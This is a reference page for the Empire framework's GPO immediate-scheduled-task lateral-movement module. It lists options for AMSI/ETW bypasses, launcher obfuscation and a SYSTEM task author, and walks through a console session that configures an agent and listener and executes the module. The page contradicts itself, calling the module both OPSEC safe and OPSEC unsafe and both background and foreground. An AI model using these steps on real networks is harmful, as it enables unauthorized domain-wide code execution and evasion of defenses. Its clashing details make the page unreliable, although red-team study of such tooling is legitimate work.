New-GPOImmediateTask - Empire Module
This page contains detailed information about how to use the powershell/lateral_movement/new_gpo_immediate_task Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: New-GPOImmediateTask
Module: powershell/lateral_movement/new_gpo_immediate_task
Source code [1]: empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml
Source code [2]: empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py
MITRE ATT&CK:
T1053, S0111
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes
The new_gpo_immediate_task module builds an 'Immediate' schtask to push out through a specified GPO.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the new_gpo_immediate_task module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the new_gpo_immediate_task module:
Agent
Agent to run module on.
Listener
Listener to use.
TaskAuthor
Name for the schtask to create.
Default value: NT AUTHORITY\System
.
TaskName
Name for the schtask to create.
Default value: Debug
.
Additional Module Options
This is a list of additional options that are supported by the new_gpo_immediate_task module:
Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw
.
Domain
The domain to query for the GPOs, defaults to the current domain.
DomainController
Domain controller to reflect LDAP queries through.
GPODisplayName
The GPO display name to build the task for.
GPOname
The GPO name to build the task for.
Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False
.
ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1
.
OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Ht>.
Default value: Out-String
.
Suggested values: Out-String
, ConvertTo-Json
, ConvertTo-Csv
, ConvertTo-Html
, ConvertTo-Xml
.
Proxy
Proxy to use for request (default, none, or other).
Default value: default
.
ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default
.
Remove
Switch. Remove the immediate schtask.
Default value: default
.
TaskDescription
Name for the schtask to create.
Default value: Debugging functionality.
.
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default
.
New_gpo_immediate_task Example Usage
Here's an example of how to use the new_gpo_immediate_task module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/lateral_movement/new_gpo_immediate_task
Author @harmj0y
Background True
Comments https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/
Description Builds an 'Immediate' schtask to push out through a specified GPO.
Language powershell
Name powershell/lateral_movement/new_gpo_immediate_task
NeedsAdmin False
OpsecSafe True
Software http://attack.mitre.org/software/S0111
Techniques http://attack.mitre.org/techniques/T1053
,Record Options----,--------------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|------------------|--------------------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|------------------|--------------------------|----------|-------------------------------------|
| Bypasses | mattifestation etw | False | Bypasses as a space separated list |
| | | | to be prepended to the launcher. |
|------------------|--------------------------|----------|-------------------------------------|
| Domain | | False | The domain to query for the GPOs, |
| | | | defaults to the current domain. |
|------------------|--------------------------|----------|-------------------------------------|
| DomainController | | False | Domain controller to reflect LDAP |
| | | | queries through. |
|------------------|--------------------------|----------|-------------------------------------|
| GPODisplayName | | False | The GPO display name to build the |
| | | | task for. |
|------------------|--------------------------|----------|-------------------------------------|
| GPOname | | False | The GPO name to build the task for. |
|------------------|--------------------------|----------|-------------------------------------|
| Listener | | True | Listener to use. |
|------------------|--------------------------|----------|-------------------------------------|
| Obfuscate | False | False | Switch. Obfuscate the launcher |
| | | | powershell code, uses the |
| | | | ObfuscateCommand for obfuscation |
| | | | types. For powershell only. |
|------------------|--------------------------|----------|-------------------------------------|
| ObfuscateCommand | Token\All\1 | False | The Invoke-Obfuscation command to |
| | | | use. Only used if Obfuscate switch |
| | | | is True. For powershell only. |
|------------------|--------------------------|----------|-------------------------------------|
| OutputFunction | Out-String | False | PowerShell's output function to use |
| | | | ("Out-String", "ConvertTo-Json", |
| | | | "ConvertTo-Csv", "ConvertTo-Ht> |
|------------------|--------------------------|----------|-------------------------------------|
| Proxy | default | False | Proxy to use for request (default, |
| | | | none, or other). |
|------------------|--------------------------|----------|-------------------------------------|
| ProxyCreds | default | False | Proxy credentials |
| | | | ([domain\]username:password) to use |
| | | | for request (default, none, or |
| | | | other). |
|------------------|--------------------------|----------|-------------------------------------|
| Remove | default | False | Switch. Remove the immediate |
| | | | schtask. |
|------------------|--------------------------|----------|-------------------------------------|
| TaskAuthor | NT AUTHORITY\System | True | Name for the schtask to create. |
|------------------|--------------------------|----------|-------------------------------------|
| TaskDescription | Debugging functionality. | False | Name for the schtask to create. |
|------------------|--------------------------|----------|-------------------------------------|
| TaskName | Debug | True | Name for the schtask to create. |
|------------------|--------------------------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
'------------------'--------------------------'----------'-------------------------------------'
(Empire: usemodule/powershell/lateral_movement/new_gpo_immediate_task) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/lateral_movement/new_gpo_immediate_task) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/lateral_movement/new_gpo_immediate_task) > set TaskAuthor NT
[*] Set TaskAuthor to NT
(Empire: usemodule/powershell/lateral_movement/new_gpo_immediate_task) > set TaskName Debug
[*] Set TaskName to Debug
(Empire: usemodule/powershell/lateral_movement/new_gpo_immediate_task) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py
- https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/
- http://attack.mitre.org/software/S0111
- http://attack.mitre.org/techniques/T1053
See Also
Check also the following modules related to this module:
- powershell/lateral_movement/invoke_psexec
- powershell/lateral_movement/invoke_sqloscmd
- powershell/lateral_movement/invoke_psremoting
- powershell/lateral_movement/invoke_executemsbuild
- powershell/lateral_movement/invoke_dcom
- powershell/lateral_movement/invoke_portfwd
- powershell/lateral_movement/jenkins_script_console
- powershell/lateral_movement/invoke_smbexec
- powershell/lateral_movement/invoke_wmi
- powershell/lateral_movement/inveigh_relay
- powershell/lateral_movement/invoke_wmi_debugger
- powershell/lateral_movement/invoke_sshcommand
- powershell/persistence/userland/schtasks
- powershell/persistence/elevated/schtasks
- python/lateral_movement/multi/ssh_launcher
- python/lateral_movement/multi/ssh_command
- powershell/situational_awareness/network/powerview/find_gpo_computer_admin
- powershell/situational_awareness/network/powerview/get_gpo_computer
- powershell/situational_awareness/network/powerview/get_gpo
- powershell/situational_awareness/network/powerview/find_gpo_location
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.